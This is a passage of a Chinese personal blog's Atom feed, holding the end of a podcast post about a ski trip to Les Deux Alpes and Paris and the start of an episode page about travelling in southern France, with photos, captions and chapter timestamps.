        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0685.989ce23e73b31eca.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0685.a5aa66c142f63e88.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0685.767458b03131a7f0.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0685.a5aa66c142f63e88.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;1980&quot;
	width=&quot;3520&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20241225_114240056.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241225_114240056.89387c627ed4e235.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241225_114240056.7e17a1ea4114977d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241225_114240056.559466d51cff469d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241225_114240056.7e17a1ea4114977d.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;在海拔&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3400&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的高度亲吻！&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_6732.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6732.3f7c817e3d93f07e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6732.32a7de56e9fa5cfd.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6732.5088a613e19c19d7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6732.32a7de56e9fa5cfd.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;6000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;最后一晚在外面吃的盛宴——UCPA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的循环利用餐可给我吃吐了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Le-Cellier.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Le-Cellier.513a62310d0b6da6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Le-Cellier.b5d05aeca014ac5e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Le-Cellier.421788ea79145c55.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Le-Cellier.b5d05aeca014ac5e.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3840&quot;
	width=&quot;5120&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;很抱歉手头没有太多雪道的照片——在一期讲滑雪的播客里，它们才应该是主角的。但向山下滑行的时候实在太刺激了，很难中途停下掏出手机照相。我们其实用运动相机录制了许多第一人称的滑雪视频，但我不知道怎样提取其中的画面，所以还是算了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;巴黎照片&quot;&gt;巴黎照片&lt;&#x2F;h2&gt;
&lt;p&gt;在卢浮宫和地铁站模仿汉谟拉比法典与正义女神：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20241230_191435150.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241230_191435150.c4231144ad0972d5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241230_191435150.63b282252c426f5f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241230_191435150.0e8f0868352f7097.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241230_191435150.63b282252c426f5f.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20241231_195344016.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241231_195344016.MP.7b553b303b70193d.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241231_195344016.MP.8bed3079004f4666.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241231_195344016.MP.a3c75dcf65096ab5.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241231_195344016.MP.8bed3079004f4666.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;单反高感光度下的噪点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;手机相机的“计算摄影学&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c8-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_6895.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6895.a3c1d18a6b3db74e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6895.84a5ea17e62a77b7.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6895.07c3d1f5869222f1.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6895.84a5ea17e62a77b7.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;2400&quot;
	width=&quot;1600&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_1017.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_1017.e478ac9d0e90cfd5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_1017.b5d83825ee462b15.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_1017.2f7dbd50ae2c3ba5.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_1017.b5d83825ee462b15.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;5712&quot;
	width=&quot;4284&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;戴着料理鼠王厨师帽的合影（我俩都觉得太紧&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;、夜晚的迪士尼乡村大舞台：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c1-2&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_0967.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0967.4d3cb39e08e72906.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0967.74f5c4ce49348e54.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0967.44a3b09856972479.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0967.74f5c4ce49348e54.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;5712&quot;
	width=&quot;4284&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_6823.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6823.da0b8e6734b5ca9b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6823.5b43dd073decfe10.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6823.bf51ce358bd568e0.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6823.5b43dd073decfe10.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;6000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;29&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号是小林的生日，我们提前约好了有迪士尼角色的餐厅。这是我们在餐厅吃饭时眼中的对方：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20241229_204038189.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241229_204038189.MP.dff58037cc7581e9.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241229_204038189.MP.e2183c6ef23aa72f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241229_204038189.MP.29e92131d1541efd.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241229_204038189.MP.e2183c6ef23aa72f.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20241229_203940382.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241229_203940382.882fdc1617b3a68b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241229_203940382.31db9ca6c651b885.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241229_203940382.a9e9245b95275cad.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241229_203940382.31db9ca6c651b885.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;看来在迪士尼过生日是很多人的选择：那一晚，生日快乐歌想起了一次又一次，祝贺的工作人员端着蛋糕走遍了餐厅的每一个角落。小林本以为见识太多次生日祝福，已经脱敏了。但等服务员围住她唱歌时，她还是尴尬地不知道该怎样谢谢大家（在阅读这段话时，她仿佛又回到了那创伤的夜晚&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;另外，我们本以为游荡在餐厅的人偶大概率会扮演米老鼠、米妮之类的角色。进去以后发现我们只认识匹诺曹——和看起来很坏的海盗、戴着眼镜的老头、不知道是不是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Linux&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吉祥物的企鹅合影时，我们全然不知道该怎样互动。可以说，我们确实在迪士尼感到了梦幻感，那种不知道在现实世界该怎么办的感觉。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_6954.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6954.9104475b37fcddb3.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6954.9d39c86e1bbf3e67.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6954.34db3e50e95ca2bb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_6954.9d39c86e1bbf3e67.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;1600&quot;
	width=&quot;2400&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;后记&quot;&gt;后记&lt;&#x2F;h2&gt;
&lt;p&gt;我们最开始计划这期播客时，是打算每天录一段当天的滑雪感受的。实际操作下来，发现每天滑雪的部分有些相似，很多时间都在扯与滑雪无关的事情，所以我们在离开双阿尔卑斯&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到达巴黎的第一晚从头录制了一版。因为各种原因，巴黎版本效果很差，所以最后回到爱丁堡又录了一遍。在录制最后一版前，我们尝试记住大纲，然后合上笔记本，看着对方的眼睛聊天。没有了边谈边看大纲时“是不是要进行到下一项”的背景音，谈话变得更加自然；又因为双方心里仍然有个模糊的大纲，剪辑工作不用太费劲。最后的版本录完之后，我们都很开心。&lt;&#x2F;p&gt;
&lt;p&gt;这次剪辑没再使用&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;southern-france&#x2F;#%E9%9F%B3%E9%A2%91%E5%90%8E%E5%A4%84%E7%90%86&quot;&gt;第一期的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Auphonic&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。因为我发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;REAPER&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自带剪辑沉默的功能，而且&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Auphonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;免费版只能处理&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟的多轨录音。这期间还探索了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;REAPER&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的包管理器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReaPack、可以让人声从小变大的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VOLA2，以及更加自动化的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;leafac_Truncate
silence….lua。感觉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;REAPER&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;很强。&lt;&#x2F;p&gt;
&lt;p&gt;另外，我也加强了自己给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MP3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;加封面的脚本。现在可以不借助&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Forecast&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;而给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MP3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;加章节封面了——让我惊讶的点是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Apple
Podcast&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ID3v2.3：我最开始使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ID3v2.4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版本的标签，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Apple
Podcast&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上死活显示不出章节封面。明明&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ID3v2.4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2000&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年公布的呀！&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;les-deux-alpes
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;les-deux-alpes&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>电台：你问我将去何方？我指向蔚蓝海岸的方向</title>
    <published>2024-08-10T00:15:07+01:00</published>
    <updated>2024-07-15T14:21:07+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/southern-france/" type="text/html" />
    <id>https://emptystack.top/southern-france/</id>
    <content type="html">
      &lt;p&gt;这期是和女朋友录的第一期。感谢小林帮我起标题、写时间轴、设计封面&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;🥰。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;在线收听&quot;&gt;在线收听&lt;&#x2F;h2&gt;
&lt;div class=&quot;podcast&quot;&gt;
&lt;p&gt;
    📢：也可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AntennaPod&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或苹果播客订阅本播客&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址（&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&quot;&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&lt;&#x2F;a&gt;）来收听！
&lt;&#x2F;p&gt;
&lt;script&gt;
function seek(time) {
    const player = document.getElementById(&#x27;player&#x27;)
    player.play()
    player.currentTime = time
}
&lt;&#x2F;script&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;southern-france.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;southern-france.jpg&quot;
	alt=&quot;本期播客封面：两人合照，以及南法相关元素的堆叠&quot;
	height=&quot;1400&quot;
	width=&quot;1400&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;audio controls preload=&quot;metadata&quot; style=&quot;display:block;width:100%&quot; id=&quot;player&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;southern-france.mp3&quot; type=&quot;audio&#x2F;mpeg&quot; &#x2F;&gt;
    你的浏览器不支持嵌入音频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;southern-france.mp3&quot;&gt;下载&lt;&#x2F;a&gt;下来听。
    视频内容：马鲛鱼和小林聊他们的南法旅游感受
&lt;&#x2F;audio&gt;
&lt;p&gt;&lt;button onclick=&quot;seek(0.0)&quot; style=&quot;margin-right:1ch&quot;&gt;00:00&lt;&#x2F;button&gt;开场&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(33.357)&quot; style=&quot;margin-right:1ch&quot;&gt;01:33&lt;&#x2F;button&gt;如果说旅行是关系的试金石，那么我们也是经过真金火炼的情侣啦&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(117.067)&quot; style=&quot;margin-right:1ch&quot;&gt;02:57&lt;&#x2F;button&gt;&lt;strong&gt;问题一：法国之行中有哪些和我们想象不一样的地方&lt;&#x2F;strong&gt;&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(132.647)&quot; style=&quot;margin-right:1ch&quot;&gt;02:13&lt;&#x2F;button&gt;在法国不会说法语的原来不会被枪毙&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(229.015)&quot; style=&quot;margin-right:1ch&quot;&gt;04:49&lt;&#x2F;button&gt;之于巴黎，南法比想象的更加热情友善和安全&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(410.911)&quot; style=&quot;margin-right:1ch&quot;&gt;07:51&lt;&#x2F;button&gt;说好的地中海的阳光蓝天白云，你却偷偷下（泥）雨&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(521.74)&quot; style=&quot;margin-right:1ch&quot;&gt;09:42&lt;&#x2F;button&gt;南法的交通比想象的好（吗&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;）&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(910.477)&quot; style=&quot;margin-right:1ch&quot;&gt;15:10&lt;&#x2F;button&gt;录音手机翻了&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(999.384)&quot; style=&quot;margin-right:1ch&quot;&gt;17:39&lt;&#x2F;button&gt;关于美食，南法应该被逐出法国&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1253.872)&quot; style=&quot;margin-right:1ch&quot;&gt;21:54&lt;&#x2F;button&gt;关于地中海假日的想象之一是戏水的机会&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1398.366)&quot; style=&quot;margin-right:1ch&quot;&gt;23:18&lt;&#x2F;button&gt;&lt;strong&gt;问题二：法国之行中有哪些让我们铭记的瞬间&lt;&#x2F;strong&gt;&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1406.156)&quot; style=&quot;margin-right:1ch&quot;&gt;23:26&lt;&#x2F;button&gt;他乡遇故知之家乐福&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1532.556)&quot; style=&quot;margin-right:1ch&quot;&gt;26:33&lt;&#x2F;button&gt;Tesco&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是不是英国最大的超市&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1594.104)&quot; style=&quot;margin-right:1ch&quot;&gt;27:34&lt;&#x2F;button&gt;小林在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Calanque
de Sugiton&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;学小乌龟晒背&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1699.271)&quot; style=&quot;margin-right:1ch&quot;&gt;28:19&lt;&#x2F;button&gt;马塞纳广场的亲水广场和拥有马里奥红帽子的小男孩&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1891.648)&quot; style=&quot;margin-right:1ch&quot;&gt;32:32&lt;&#x2F;button&gt;天台、雨后彩虹、飞机和酒吧厕所（误入）&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2042.687)&quot; style=&quot;margin-right:1ch&quot;&gt;34:03&lt;&#x2F;button&gt;尼斯海边，两封明信片和一起写旅行日记&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2270.858)&quot; style=&quot;margin-right:1ch&quot;&gt;38:51&lt;&#x2F;button&gt;幸福的具象化是：在南法的清晨日落，看到心爱的人在阳台看书写日记&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2391.759)&quot; style=&quot;margin-right:1ch&quot;&gt;40:52&lt;&#x2F;button&gt;&lt;strong&gt;问题三：法国之行中有哪些让我们后悔的事&lt;&#x2F;strong&gt;&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2411.02)&quot; style=&quot;margin-right:1ch&quot;&gt;40:11&lt;&#x2F;button&gt;小海豚的女友是旱鸭子&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2465.678)&quot; style=&quot;margin-right:1ch&quot;&gt;41:06&lt;&#x2F;button&gt;未能去做的水上项目&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2629.754)&quot; style=&quot;margin-right:1ch&quot;&gt;44:50&lt;&#x2F;button&gt;当你还在比基尼羞耻的时候，法国人已经在海滩裸体晒太阳了&lt;br &#x2F;&gt;
